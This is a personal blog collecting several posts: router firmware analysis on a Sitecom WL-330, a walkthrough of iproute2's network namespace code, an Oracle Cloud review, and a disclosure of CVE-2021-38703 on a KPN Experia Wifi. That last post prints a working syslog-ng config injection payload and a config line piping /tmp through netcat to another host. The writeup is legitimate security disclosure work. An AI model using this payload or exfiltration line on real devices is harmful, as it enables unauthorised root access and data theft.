There’s a very interesting discrepancy here. U-Boot reports 32 MByte of RAM - as does the labeling of the actual RAM chip. However, Linux is told 16. I have not yet figured out why this happens.

After some kernel messages and errors from terribly hacky startup scripts, a very interesting screen greets me:

I tried a few things, like admin/admin, but it would not let me in. After some more tinkering and trying things, I found that the reset button would kill this login screen, briefly exposing a root shell! .. until the device rebooted a few seconds later. I considered automating this, to run one or two commands in that brief window, but I parked this idea for later, in case I would not find another avenue.

Boot OpenWrt?

The U-Boot menu offered booting from TFTP. This is an excellent way to test firmware images on a device without destroying anything on the flash. I tried booting a few seemingly suitable (old, because this device does not have a lot of memory) OpenWrt images, but they did not get very far.

Firmware dump

I decided it was time to investigate the firmware. Some people use IC clips to read flash chips directly, but this is not always easy. I dug around in U-Boot a bit, but found no useful commands to dump the flash chip. Then somebody pointed out to me that SPI NOR flash is usually mapped into memory by the CPU/SoC. After some poking, I figured out the address too. So:

RT3052 # md.b bf000000 5000000
bf000000: ff 00 00 10 00 00 00 00 fd 00 00 10 00 00 00 00    ................
bf000010: f9 01 00 10 00 00 00 00 f7 01 00 10 00 00 00 00    ................
bf000020: f5 01 00 10 00 00 00 00 f3 01 00 10 00 00 00 00    ................
bf000030: f1 01 00 10 00 00 00 00 ef 01 00 10 00 00 00 00    ................
bf000040: ed 01 00 10 00 00 00 00 eb 01 00 10 00 00 00 00    ................
...

(5000000 is too much - it’s 4 MByte of flash, not 5, so I got the first megabyte repeated at the end.)

I had screen log all of this to a file. od can then turn this into a big binary blob (sadly I no longer have the exact command I used, but it did involve telling od about the bf000000 offset!).

From the kernel startup log, we get the partition table:

Creating 7 MTD partitions on "Ralink SoC physically mapped flash":
0x00000000-0x00030000 : "Bootloader"
mtd: Giving out device 0 to Bootloader
0x00030000-0x00040000 : "Config "
mtd: Giving out device 1 to Config 
0x00040000-0x00050000 : "Factory"
mtd: Giving out device 2 to Factory
0x00050000-0x00160000 : "Kernel"
mtd: Giving out device 3 to Kernel
0x00160000-0x003e0000 : "RootFS"
mtd: Giving out device 4 to RootFS
0x003e0000-0x00400000 : "Cimage"
mtd: Giving out device 5 to Cimage
0x00050000-0x003e0000 : "Uimage"
mtd: Giving out device 6 to Uimage

With a bit of dd, we can carve our 4 MByte flash image into several smaller files.

I tried unpacking the RootFS partition with binwalk -e, but I ran into trouble. My unsquashfs did not support this squashfs image. After trying several patches to squashfs-tools floating around the Internet, I ran into sasquatch which is a nice patchset to squashfs-tools, that actually managed to extract this root file system.

After reading some startup scripts, grepping for some strings, etc., I found /bin/setup to be the program responsible for the weird login prompt.

Binary analysis

With one or two exceptions, the last time I tried to analyse a closed-source binary was back when I was still running MS-DOS - so this seemed like a great opportunity to work on those skills! I installed and started Ghidra, and loaded /bin/setup into it. Because setup is statically linked, I got roughly zero symbols. I poked around a bit, managed to label a few functions (memset and similar simple functions that are easy to recognise in assembly), and got quite a decent overview of program flow, but not enough to figure out what login the tool wanted.

I might go back to that later, I did enjoy it.

Looking for other holes

Based on earlier experience I expected there would be vulnerabilities in the existing software on the router. And I had a dump of all that software!

Here’s something that looked like it had a lot of potential:

$ strings /bin/webs | grep %s | grep /bin
/bin/nbtscan -a -r %s.1-50/24 > /var/netName.var
/bin/nbtscan -a -r %s.51-100/24 >> /var/netName.var
/bin/nbtscan -a -r %s.101-150/24 >> /var/netName.var
/bin/nbtscan -a -r %s.151-200/24 >> /var/netName.var
/bin/nbtscan -a -r %s.201-254/24 >> /var/netName.var
/bin/rftest_old.sh %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s
/bin/storage.sh %s
/bin/rftest.sh %s > /tmp/rftest.out

That looks like argument interpolation, straight into the shell!

Some of the words I found near rftest_old.sh appeared in an ASP file, in /web/wlanMP.asp. So, here’s the exploit:

Post the form, and the magic login screen on the serial console disappears, leaving us at a root shell.

Conclusion

Getting root on a device normally is a great first step towards installing open source software on it. However, OpenWrt really does not want to support devices this small so the exercise ends here.

This experience will hopefully one day enable me to actually port OpenWrt to some fun device.

Additional notes

After posting this initially, logic analyzers came up in a related conversation. I realised I completely forgot that chapter in this article.

I’ll keep it short: if you’re trying to read serial with a logic analyzer, make sure your sampling rate is high enough. If, by analyzing time between edges, you conclude that the baud rate must be 125000, realise that this is a nice and clean divisor of your sampling rate (1 Million/second I think) and not actually what is happening.

What does ip netns add actually do?

2021-12-11T22:16:30+01:00

While trying to add network namespace support to OpenWrt’s netifd, I ran into a severe lack of documentation about what named network namespaces in Linux actually are. It turns out that while the Linux kernel has network namespaces, naming them is really an iproute2 thing, and other tools that also try to work with named network namespaces are best off emulating the iproute2 conventions.

From the ip-netns(8) manual page:

By convention a named network namespace is an object at /var/run/netns/NAME that can be opened. The file descriptor resulting from opening /var/run/netns/NAME refers to the specified network namespace. Holding that file descriptor open keeps the network namespace alive. The file descriptor can be used with the setns(2) system call to change the network namespace associated with a task.

It also turns out that getting these conventions right is a lot of work, if you don’t want to call out to ip netns!

So, let’s go through the actual code and see what all this fuss I am making is about. This is from version 5.15.0. We will assume the user said ip netns add foo.

static int netns_add(int argc, char **argv, bool create)
{
	/* This function creates a new network namespace and
	 * a new mount namespace and bind them into a well known
	 * location in the filesystem based on the name provided.
	 *

There is a lot hiding in those words. We will figure them all out below.

804
805
806

	 * If create is true, a new namespace will be created,
	 * otherwise an existing one will be attached to the file.
	 *

I will ignore the create=false case here - that’s for ip netns attach.

	 * The mount namespace is created so that any necessary
	 * userspace tweaks like remounting /sys, or bind mounting
	 * a new /etc/resolv.conf can be shared between users.
	 */
	char netns_path[PATH_MAX], proc_path[PATH_MAX];
	const char *name;
	pid_t pid;
	int fd;
	int lock;
	int made_netns_run_dir_mount = 0;

	if (create) {
		if (argc < 1) {
			fprintf(stderr, "No netns name specified\n");
			return -1;
		}
	} else {
		if (argc < 2) {
			fprintf(stderr, "No netns name and PID specified\n");
			return -1;
		}

		if (get_s32(&pid, argv[1], 0) || !pid) {
			fprintf(stderr, "Invalid PID: %s\n", argv[1]);
			return -1;
		}
	}
	name = argv[0];

The add case wants a name, and aborts if it did not get one. The attach case also wants a PID.

	snprintf(netns_path, sizeof(netns_path), "%s/%s", NETNS_RUN_DIR, name);

In namespace.h, we find #define NETNS_RUN_DIR "/var/run/netns". Remember, we said we were tracing ip netns add foo. So netns_path now holds "/var/run/netns/foo".

838
839

	if (create_netns_dir())
		return -1;

create_netns_dir() is

mkdir(NETNS_RUN_DIR, S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH))

plus some error handling. Those flags add up to 755.

So far, so good. Now, buckle up!

	/* Make it possible for network namespace mounts to propagate between
	 * mount namespaces.  This makes it likely that a unmounting a network
	 * namespace file in one namespace will unmount the network namespace
	 * file in all namespaces allowing the network namespace to be freed
	 * sooner.

Funny word, “likely”. This code puts in a lot of effort to make something only “likely”!

	 * These setup steps need to happen only once, as if multiple ip processes
	 * try to attempt the same operation at the same time, the mountpoints will
	 * be recursively created multiple times, eventually causing the system
	 * to lock up. For example, this has been observed when multiple netns
	 * namespaces are created in parallel at boot. See:
	 * https://bugs.debian.org/949235

You should go read Debian bug 949235, I’ll wait.

	 * Try to take an exclusive file lock on the top level directory to ensure
	 * this cannot happen, but proceed nonetheless if it cannot happen for any
	 * reason.
	 */
	lock = open(NETNS_RUN_DIR, O_RDONLY|O_DIRECTORY, 0);
	if (lock < 0) {
		fprintf(stderr, "Cannot open netns runtime directory \"%s\": %s\n",
			NETNS_RUN_DIR, strerror(errno));
		return -1;
	}
	if (flock(lock, LOCK_EX) < 0) {
		fprintf(stderr, "Warning: could not flock netns runtime directory \"%s\": %s\n",
			NETNS_RUN_DIR, strerror(errno));
		close(lock);
		lock = -1;
	}

Pretty standard cooperative locking code. One of the many parts that any piece of software that wants to work with ip’s named network namespaces needs to copy.

	while (mount("", NETNS_RUN_DIR, "none", MS_SHARED | MS_REC, NULL)) {

Let’s unpack this one. A while-loop around mount? Weird, let’s hope there is an escape later!

So, mount. I opened this bit of code hoping to learn how to netlink my way in and out of namespaces. Now we are learning about mounts. Aren’t computers fun?

The prototype for mount(2) is:

int mount(const char *source, const char *target,
          const char *filesystemtype, unsigned long mountflags,
          const void *data);

So, we have: source "", target /var/run/netns, fstype none, two flags ORed together, and no data. What are we mounting? Nothing? It turns out this call only tries to change the parameters of an existing mount. Specifically, these two flags are set:

MS_SHARED: Make this mount point shared. Mount and unmount events immediately under this mount point will propagate to the other mount points that are members of this mount’s peer group. Propagation here means that the same mount or unmount will automatically occur under all of the other mount points in the peer group. Conversely, mount and unmount events that take place under peer mount points will propagate to this mount point.
MS_REC: Used in conjunction with MS_BIND to create a recursive bind mount, and in conjunction with the propagation type flags to recursively change the propagation type of all of the mounts in a subtree. See below for further details.

So, this call attempts to implement the first large comment, about making it possible for “network namespace mounts to propagate between mount namespaces”.

If the code inside this while-loop has run at least once since system startup (or since somebody destroyed /var/run/netns, of course), this call succeeds and we continue after the loop. But, let’s see what happens the first time.

869
870

		/* Fail unless we need to make the mount point */
		if (errno != EINVAL || made_netns_run_dir_mount) {

Ah, the second round will always end - either in success or failure. Good.

If /var/run/netns was not completely set up before (because this code runs for the first time), the mount call indeed fails with EINVAL. This is accepted only if made_netns_run_dir_mount is false, which right now it is.

			fprintf(stderr, "mount --make-shared %s failed: %s\n",
				NETNS_RUN_DIR, strerror(errno));
			if (lock != -1) {
				flock(lock, LOCK_UN);
				close(lock);
			}
			return -1;
		}

		/* Upgrade NETNS_RUN_DIR to a mount point */
		if (mount(NETNS_RUN_DIR, NETNS_RUN_DIR, "none", MS_BIND | MS_REC, NULL)) {

Another semi-magical mount invocation. What is MS_BIND? From the mount(2) manual page:

If mountflags includes MS_BIND (available since Linux 2.4), then perform a bind mount. A bind mount makes a file or a directory subtree visible at another point within the single directory hierarchy. Bind mounts may cross filesystem boundaries and span chroot(2) jails.

But, source and target are the same. What does it mean? The explanation is in the pivot_root(2) man page, not in the mount man page!

A path that is not already a mount point can be converted into one by bind mounting the path onto itself.

So, this call converts /var/run/netns to be a mount point, so that, through MS_REC, this dir and any mounts inside it (we will get to those soon) can be shared between mount namespaces.

			fprintf(stderr, "mount --bind %s %s failed: %s\n",
				NETNS_RUN_DIR, NETNS_RUN_DIR, strerror(errno));
			if (lock != -1) {
				flock(lock, LOCK_UN);
				close(lock);
			}
			return -1;
		}
		made_netns_run_dir_mount = 1;
	}
	if (lock != -1) {
		flock(lock, LOCK_UN);
		close(lock);
	}

End of danger zone.

897
898

	/* Create the filesystem state */
	fd = open(netns_path, O_RDONLY|O_CREAT|O_EXCL, 0);

Remember, netns_path is /var/run/netns/foo. This simply creates a plain empty file.

	if (fd < 0) {
		fprintf(stderr, "Cannot create namespace file \"%s\": %s\n",
			netns_path, strerror(errno));
		return -1;
	}
	close(fd);

The file does not need any special contents, so we immediately close it again.

906
907
908

	if (create) {
		netns_save();
		if (unshare(CLONE_NEWNET) < 0) {

This is where the real magic begins. It turns out, there is no system call for just creating a new namespace and getting a handle to it. (A handle for a namespace is an FD. If the last FD holding onto a namespace is closed, the namespace disappears.) The only way to create a new namespace is to call unshare. This disconnects the calling process from the namespace it was in, and puts it in a fresh one. The CLONE_NEWNET argument tells the kernel that we only want this to happen for the network namespace.

But! ip never wanted to live in another namespace. It only wanted to make one!

netns_save() looks like this:

saved_netns = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);

The FD returned from open becomes a handle to the network namespace ip was started from. In many cases, this will be the initial namespace, that does not have a name. (Remember, the kernel does not know about names for namespaces at all!)

So, we get a handle to our original namespace, we disconnect from it (unshare), and now the ip process is running in an entirely new and fresh network namespace.

If ip exited now, that new and fresh network namespace would immediately disappear! So, we are not done yet.

			fprintf(stderr, "Failed to create a new network namespace \"%s\": %s\n",
				name, strerror(errno));
			goto out_delete;
		}

		strcpy(proc_path, "/proc/self/ns/net");

That path looks familiar. We used it a few lines ago to hold onto our original namespace. But now, after unshare, it points to a new namespace.

You can see this in /proc:

# ls -al /proc/self/ns/net
lrwxrwxrwx    1 root     root             0 Dec  5 18:40 /proc/self/ns/net -> net:[4026532206]
root# ip netns exec foo ls -al /proc/self/ns/net
lrwxrwxrwx    1 root     root             0 Dec  5 18:40 /proc/self/ns/net -> net:[4026532351]

This output was taken after the full ip netns add foo invocation. 4026532206 is the namespace we are currently holding on to in saved_netns. 4026532351 is our fresh namespace that we have not given a name yet. And if we exit now, it would go away. It turns out that giving it a name solves that problem too.

915
916
917

	} else {
		snprintf(proc_path, sizeof(proc_path), "/proc/%d/ns/net", pid);
	}

This is for the attach case, where we use ip netns to give a name to a namespace already existing because at least one process is in it.

919
920

	/* Bind the netns last so I can watch for it */
	if (mount(proc_path, netns_path, "none", MS_BIND, NULL) < 0) {

Another magical mount invocation. With arguments filled in:

mount("/proc/self/ns/net", "/var/run/netns/foo", "none", MS_BIND, NULL)

It’s another bind mount. We take the handle to our new namespace in /proc, and mount it to the empty file we created earlier. Now if ip exits, the namespace does not disappear, because this mount is holding on to it for us!

		fprintf(stderr, "Bind %s -> %s failed: %s\n",
			proc_path, netns_path, strerror(errno));
		goto out_delete;
	}
	netns_restore();

	return 0;
out_delete:
	if (create) {
		netns_restore();
		netns_delete(argc, argv);
	} else if (unlink(netns_path) < 0) {
		fprintf(stderr, "Cannot remove namespace file \"%s\": %s\n",
			netns_path, strerror(errno));
	}
	return -1;
}

And there we have it. One fresh namespace, freshly named. You can see it for yourself:

# mount
tmpfs on /tmp/run/netns type tmpfs (rw,nosuid,nodev,noatime)
nsfs on /tmp/run/netns/foo type nsfs (rw)

Further reading (some of which has been very helpful to me while writing this post):

https://github.com/shuveb/containers-the-hard-way (which links to https://unixism.net/2020/06/containers-the-hard-way-gocker-a-mini-docker-written-in-go/)
https://pkg.go.dev/github.com/vishvananda/netns#section-readme - note how it saves, makes, restores, just like ip does.
https://helda.helsinki.fi/bitstream/handle/10138/320475/Viding_Jasu_DemystifyingContainerNetworking_2020.pdf?sequence=2&isAllowed=y

Update, December 11th 2021: after I posted this article, Dr. Jens Harbott sent me:

really nice writeup, I have a bonus question though: can you also explain what the “(id: 0)” etc. means for some netns?

I had not spotted any such thing during my tinkering, but together we figured it out:

# ip netns add foo
# ip netns set foo 15
# ip netns list
foo (id: 15)

So, it turns out Linux does somewhat have a concept of naming network namespaces - by number. Autoassignment (starting from 0) is possible too. (Reading and assigning these IDs is the only code in ipnetns.c that uses Netlink!)

Exploring Oracle Cloud and the Always Free Resources

2022-11-17T22:49:19+01:00

A friend recently mentioned to me that Oracle Cloud has a pretty decent ‘Always Free’ Tier, with 4 ARM64 cores sharing 24GB of RAM, one AMD VM, and 200GB of block storage to divide between them.

I decided to have a look at the service, and below you will find my experiences.

Content below:

After entering my email address and training the AI on how to recognise various types of airplanes, I am promised a confirmation email. The confirmation email comes in. It says “click the button below”. There is no button below, so I click “Load images” in my mail client.

The button appears. Ish.

(If you’re wondering about the compression artifacts in that header image, I got it like that.)

I click the button, the same form as before appears, with more fields, but empty. A few seconds later it reloads and at least my username and e-mail address are filled in again.

I am warned that ARM capacity is limited in many places. Luckily for me, Amsterdam is not among those places.

I am also warned:

Your home region is the geographic location where your account and identity resources will be created. It is not changeable after sign-up. See Regions for service availability.

I carefully pick Amsterdam.

Firefox generously offers to generate a password for me. I say yes, and Firefox concocts a creation nobody could imagine. Oracle Cloud will have none of it:

Password must contain a minimum of 8 characters, 1 lowercase, 1 uppercase, 1 numeric, and 1 special character .

Password cannot exceed 40 characters, contain the users first name, last name, email address, spaces, or ` ~ < > \ characters.

So I generate a password using pwgen -y and vandalise it until Oracle Cloud is happy.

I enter my address in an overabundance of “address” fields; my phone number; my city of residence. Then I come to the zip/postal code field, and I enter mine, which looks like “1234AB”. The format is not correct - I forgot to put a space between the numbers and the letters. How could I be so dumb! If only we had devices that could automatically fix obvious errors in input from humans.

I am redirected to a payment provider so that my credit card can be used to prevent abuse. I am promised that a single EUR will be captured and swiftly released. My online credit card statement confirms this seconds after.

The machine spends 30 seconds “setting up my account”. Then I get an email confirming various things, but also warning me

We’re still setting up billing and a few other details, but you can go ahead and get started now.

16 minutes later, I shall get an email telling me

Your account is now fully set up! You have €250 in credits that you can use towards any Oracle Cloud services for the next 30 days.

and

If you provided a credit card during sign-up, it was only used for verification and will not be charged unless you upgrade to a paid account. Note that usage during your promotional period is discounted.

I log in and start deploying VMs and poking around. See the Deploying VMs section below for my experiences with that.

After poking around for a while on the operational side of things, I decide to check that I really am not accidentally going to pay for anything. I click around and find the page where I might do the “upgrade to paid” (which I do not want to do at this point, but I want to make sure everything is right). The page tells me:

This account is managed by enterprise agreement with Oracle and any upgrade operation from this page is not available for the tenancy. Please contact your account manager to make any changes.

I trust this means that somebody will spend 30 minutes with me on the phone before any money changes hands.

Two hours after the “fully set up!” email I get another email:

You have been associated to a cloud subscription and granted access to a Support Identifier for Oracle Support.

Which, time wise, might have been when the trouble started.

It is around this time that I find myself logged out of the panel. The login page tells me:

We have detected that your tenancy has been federated to another Identity Provider.

I also can no longer log in. When I check my saved passwords, I notice that the saved one is definitely not the one I carefully crafted to meet Oracle’s absurd demands - it is the one Firefox invented for me just before that. I hit various buttons with labels such a “Get help signing in” and “Forgot password”. Eventually I am promised an email to reset my password.

No email has come. As I write this, I am locked out of my account, and also very happy I had not actually moved any services to the Oracle Cloud yet.

Deploying VMs

Console

Although Oracle’s set of services appears designed to look as impressive as Amazon’s, I find the console a delight to work with compared to Amazon’s “you should probably get a consultant” maze. However, the sluggishness and endless spinners for loading tables with zero or a few entries that I’ve grown accustomed to with Azure and Amazon are present here too. Almost feels like home.

VM Deployment

I deployed and destroyed a few VMs. Deployment of the first one took minutes, those after that deployed in 20-30 seconds I think.

OS choices are okay. A few flavours of Oracle Linux (both in 7 and 8, with 7.9 the current default), plus some Ubuntu. On the AMD VM (but not on the ARM machines), I think I spotted CentOS as an option.

Having to paste my SSH pubkey into a box for every VM deployment is a bit tedious. I trust there is a better way but it is not obvious from the VM deployment page.

The VMs, once deployed, look fine. Various Oracle processes are running - see Oracle Cloud Agents below. On the Oracle Linux 8 VMs, for some reason 10GB of the default 50GB root volume size is dedicated to storing system metrics in /var/oled. At least it’s LVM, so if I wanted to get rid of that partition, I easily could.

On an Oracle Linux 7 install, I get the full 50GB as /.

DNS Trouble

At one point, I deployed an ARM VM called “ampere” (named after the ARM CPUs they’re using). The VM creation form tells me my machine will be reachable at ampere.subnet08302137.vcn08302137.oraclevcn.com. After the creation form, that name is nowhere to be found anywhere in the control panel. The name servers for the oraclevcn.com domain appear to be entirely broken:

$ dig ampere.subnet08302137.vcn08302137.oraclevcn.com. @orcldns1.ultradns.com.

; <<>> DiG 9.11.5-P4-5.1+deb10u5-Debian <<>> ampere.subnet08302137.vcn08302137.oraclevcn.com. @orcldns1.ultradns.com.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 53417
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ampere.subnet08302137.vcn08302137.oraclevcn.com. IN A

;; Query time: 35 msec
;; SERVER: 2001:502:f3ff::64#53(2001:502:f3ff::64)
;; WHEN: Tue Aug 31 21:00:16 CEST 2021
;; MSG SIZE  rcvd: 76

Oracle Cloud Agents

When deploying a new VM, hidden in advanced settings is a set of Oracle Cloud Agents. They can do fancy things like upgrade software for you (except, apparently, the agents themselves, the page warns me).

One of the agents looks very useful but also scary - it allows command execution from the control panel right inside your VM. I ponder the implications for a bit, but decide that somebody who has access to the control panel can do whatever they want, even if would normally take a few more steps (shut VM A down, make a new VM B, mount storage from VM A on VM B, change some passwords or drop an ssh pubkey in, etc.).

I try the command execution agent. It does not work. Logs on the system report an Authorization Error in talking to Oracle’s backend.

Conclusion

The Always Free Resources program is enticing. Many people would probably be happy to have the power to spin up a few VMs here and there without any payment relationship, and no financial risk if they accidentally leave something running.

The basic service I care about (the VMs) seems fine - but I did not get to play around inside them that much. Everything around the VMs is beta-quality or worse. Signup is somewhat painful, various help links in the control panel lead to 404s, and, as detailed above, account management is full of surprises, and eventually locked me out completely.

It is clear Oracle is trying to grab some market by drawing in users with some exciting free stuff. It is sad, then, that at least this user has been completely discouraged to spend money with them, a mere two hours after signup.

Updates

Thursday 23 September: I get an email “Your Oracle Cloud Free Trial expires in 7 days”. Then, a phone call. Oracle would like to know how my free trial is going. I tell the friendly person on the other end of the line that I lost access after a few hours and have not been able to get back in. He says he will look into it. (Nothing has come of this.)
Wednesday 29 September: Oracle Cloud randomly comes up in conversation, and I decide to give the password reset procedure another try. This time, I cracked the code. Wherever a form says “username” (and I do have a username!), you need to pretend it says “email address”. I have regained access to my account.
Also Wednesday 29 September: a friend who sees this blog post mentions to me he never managed to spawn an ARM VM. Having destroyed mine almost a month ago, I try making one now, but apparently they are out of stock.
November 7 2022: I try logging in. I am (I think, the dialog is not very clear) forced to change my password. The “change password” dialog is broken. Inspection of underlying requests shows a “400 Bad Request” response to a “ApplicablePasswordPolicyRetriever” call. I cannot log in.
November 17 2022: the retriever is fixed. However, Uncaught TypeError: v.oldPasswordValue() is undefined - so I still cannot log in.

Getting a root shell on an old KPN Experia Wifi (CVE-2021-38703)

2021-09-07T20:42:59+02:00

The KPN Experia Wifi was sold by KPN/Telfort in The Netherlands as a WiFi amplifier/extender, for those households or businesses that need that extra WiFi oomph. On mine, running an old firmware version, I managed to gain a root shell.

KPN asked that I state clearly here that the vulnerability has been fixed since, and updated devices are not affected. Any device that is actually in use, and thus connected to the Internet, will have been updated automatically.

I did not look at any newer firmware versions than the one mentioned below.

Content below:

Background

Telfort kindly sent me one in late 2019, even though I never asked for one or complained about my WiFi. I unpacked it and promptly forgot about it. Then, a few weeks ago, a fellow KPN customer came into the #openwrt IRC channel, mentioning that he found this same device in a drawer somewhere, and noting that it appears to be based on the MT7621 chipset, which is generally well supported in OpenWrt. They asked whether it would be possible to install OpenWrt on it. The general response from the channel was “well, we would need to know more”.

That other user soldered wires to the UART, and got to a U-boot prompt, which demanded a password for anything interesting. Neither they nor I had the right hardware to directly access the flash chip on board.

So, I figured I would take a look at the software side of things.

The letter that came with it said it would automatically copy WiFi settings from the KPN router. I wanted to investigate that process at some point (but not today), so I decided to not connect the Experia Wifi to the router or to the Internet at all at this point. It turns out this may have been a very lucky choice!

I powered the device up, connected only to a spare computer, and found out it was running software not from 2019 (when I received the box) but even older - from 2017.

I was vaguely aware of recent security work on Arcadyan devices, and soon found this report by Tenable - at the time, it did not include the exploit PoCs for the 3 CVEs. Without much knowledge about existing vulnerabilities, but with optimism about exploiting this box, I went on.

Exploit

The web interface is quite limited (this is sold as an AP/extender, not as a router at all, although I suspect the hardware could serve as one just fine). I dug around for a bit, until I stumbled upon the syslog interface, which allowed me to configure the logging level. The config I chose was POSTed to /apply_abstract.cgi with data looking something like (formatted for readability):

action=syslog_ng_restart
httoken=1478967339
submit_button=security_log.htm
393239000000=200
393240000000=debug

200 is the log file size. debug is the log level I chose.

Playing around a bit, I quickly found that changing debug to debugx yielded an error from syslog-ng:

[err]:[syslog-ng Error in configuration, unresolved processing element reference; pipeline='f_debugx']

Clearly, the web interface is injecting our input directly into the syslog-ng config file. I spent some time with the syslog-ng docs, learned about program sources, and then bit by bit crafted this input:

action=syslog_ng_restart
httoken=1478967339
submit_button=security_log.htm
393239000000=200
393240000000=debug); }; source s_habbie { program("id"); }; log { source(s_habbie); filter(f_debug

id output appeared in the log: [uid=0(root) gid=0] !

Now that I had shell, I could actually check my work. This is what I found on the device in /tmp/syslog-ng-client.conf:

log { source(s_internal); filter(f_cron); filter(f_debug); }; source s_habbie { program("tar -cf - /tmp | nc 192.168.2.6 5555; sleep 10"); }; log { source(s_habbie); filter(f_debug); destination(d_local_file); };
source s_local_file{ file("`SYSLOG_NG_LOG_FILE`" flags(no-parse) log_fetch_limit(50));};
destination d_remote { syslog("192.168.2.6" 
						transport("udp") port("514")); }; 
log { source(s_local_file); destination(d_remote); flags(flow-control);};

(You’ll note that remote syslog is enabled - this was available from the settings form and it really simplified this work.)

Disclosure timeline

28 July 2021
- I email KPN-CERT, as the vendor of the device, and explain the vulnerability I found, including the small PoC you can see above. I clarify that I am aware I am running very old firmware. I ask if what I found might be CVE-2021-20091 from the Tenable report, as that report is (at the time) very light on details, but the underlying vendor and the vulnerability title (‘Configuration File Injection’) fit.
29 July 2021
- KPN-CERT responds, asking me to keep this knowledge to myself until relevant holes have been plugged, and telling me they are investigating.
4 August 2021
- KPN-CERT emails me. They asked the vendor, and the vendor said this vulnerability was known. They ask me if it is possible my WiFi device has not been connected to the Internet for a while, because that might explain why it is missing an update.
- I reply back to KPN-CERT. I repeat that I am aware my firmware is old, and note that I am not surprised the vulnerability has been fixed since! I ask if this is CVE-2021-20091.
10 August 2021
- KPN-CERT replies, to tell me it is most likely a different CVE, but they do not know which one.
- I email KPN-CERT, asking if they can help me with a responsible disclosure timeline, and perhaps connect me to their vendor (which I assume to be Arcadyan).
- KPN CERT responds: we cannot request a CVE for you. This problem might be limited to our custom firmware. We are closing this case. Thank you for your report.
- I email KPN-CERT to ask if this means I can publish my findings.

While waiting for KPN-CERT to reply, I do another web search to see if I really did not miss an earlier report of this vulnerability. I find that on August 3rd, one week ago, Tenable added PoCs to their report, and posted Bypassing Authentication on Arcadyan Routers with CVE-2021–20090 and rooting some Buffalo on their Tech Blog.

It turns out that CVE-2021-20091 is a bug in apply_abstract.cgi, like I found, but a different one!

10 August 2021, continued
- I contact Tenable to ask if they can help me talk to Arcadyan, and any possibly affected resellers of Arcadyan gear. They tell me they handled that via CERT CC, as it was very hard to reach the vendors.
- I contact CERT CC to see if they are willing to help me find any other affected vendors.
11 August 2021
- KPN asks if they can preview this article.
12 August 2021
- CERT CC lets me know that they will not handle the case, as KPN has indicated to me that the vendor has already plugged the hole in an update. CERT CC says I can get a CVE from Mitre if one has not been assigned for this problem yet.
15 August 2021
- Mitre assigns CVE-2021-38703.
17 August 2021
- KPN asks me to stress that any connected devices will have received the update plugging this hole. They ask me to wait with publication until ‘media relations’ has also vetted this article.
19 August 2021
- KPN media relations also approves publication.
25 August 2021
- This post is published.
1 September 2021
- MITRE updates the page for CVE-2021-38703 to link to this post.

Habbie's journal

Home Assistant backups, restic, gzip’s rsyncable flag

Background

Unpack the tarballs once

Decompress

gzip’s rsyncable flag

tar it up again

Table of results

Summary

Next steps

Lenovo Smart Clock 2: unboxing and exploration

Unpacking and first explorations

Initial setup

Teasers

Router Archeology: Sitecom WL-330

Other documentation

Opening, serial

Boot

Boot OpenWrt?

Firmware dump

Binary analysis

Looking for other holes

Conclusion

Additional notes

What does ip netns add actually do?

Exploring Oracle Cloud and the Always Free Resources

Signup process

Deploying VMs

Console

VM Deployment

DNS Trouble

Oracle Cloud Agents

Conclusion

Updates

Getting a root shell on an old KPN Experia Wifi (CVE-2021-38703)

Background

Exploit

Disclosure timeline